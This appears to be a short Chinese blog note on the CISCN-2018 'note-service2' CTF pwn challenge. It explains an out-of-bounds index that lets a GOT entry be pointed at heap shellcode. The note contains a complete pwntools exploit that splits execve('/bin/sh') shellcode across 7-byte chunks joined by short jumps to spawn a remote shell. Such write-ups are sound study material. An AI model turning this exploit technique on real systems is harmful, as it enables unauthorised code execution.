攻防世界note-service2

ps:不是一个完整的write-up,只是标了一下重点方便自己以后看看。。。

来源:CISCN-2018-Quals

参考:

1.https://blog.csdn.net/qq_42728977/article/details/103914342

2.https://blog.csdn.net/seaaseesa/article/details/103003167

 

是一个数组越界的漏洞,而且可以堆栈执行shell。所以大致思路为申请一些堆块并写入shllcode,然后将某一个函数的got表修指向堆块shell,调用该函数运行shellcode,进而获得shell。理想很丰满,现实很骨感。
那么问题来了,shellcode怎么写?每个堆块的data区只能写7个字节,太短了(滑稽),怎么处理?shellcode怎么写?原理是啥?

 

 

 

#coding=utf-8
from pwn import *
context.log_level='debug'
context.update(arch='amd64')#64位
#io=process("./note")
io=remote("111.198.29.45",59605)

#利用函数的一般写法
#收到,发送(参数)
def add(index,content):
    io.recvuntil("your choice>>")
    io.sendline("1")
    io.recvuntil("index:")
    io.sendline(str(index))
    io.recvuntil("size:")
    io.sendline("8")  #全部申请为最大堆块8字节
    io.recvuntil("content:")
    io.sendline(content)
def dele(index):
    io.recvuntil("your choice>>")
    io.sendline("4")
    io.recvuntil("index:")
    io.sendline(str(index))

add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+"\x90\x90\xeb\x19") #0x90即nop ;EB即 jmp short
add(1,asm("mov eax, 0x3b")+"\xeb\x19")
add(2,asm("xor rdx, rdx")+"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,"\x90"))
dele(0)

io.interactive()

查看任意一条汇编指令的机器码做法:

打开kali终端

python

from pwn import *

enhex(asm("汇编代码"))

 

arch设置架构为amd64,可以简单的认为设置为64位的模式

context(os='linux', arch='amd64', log_level='debug')

 

 

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

书文的学习记录本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值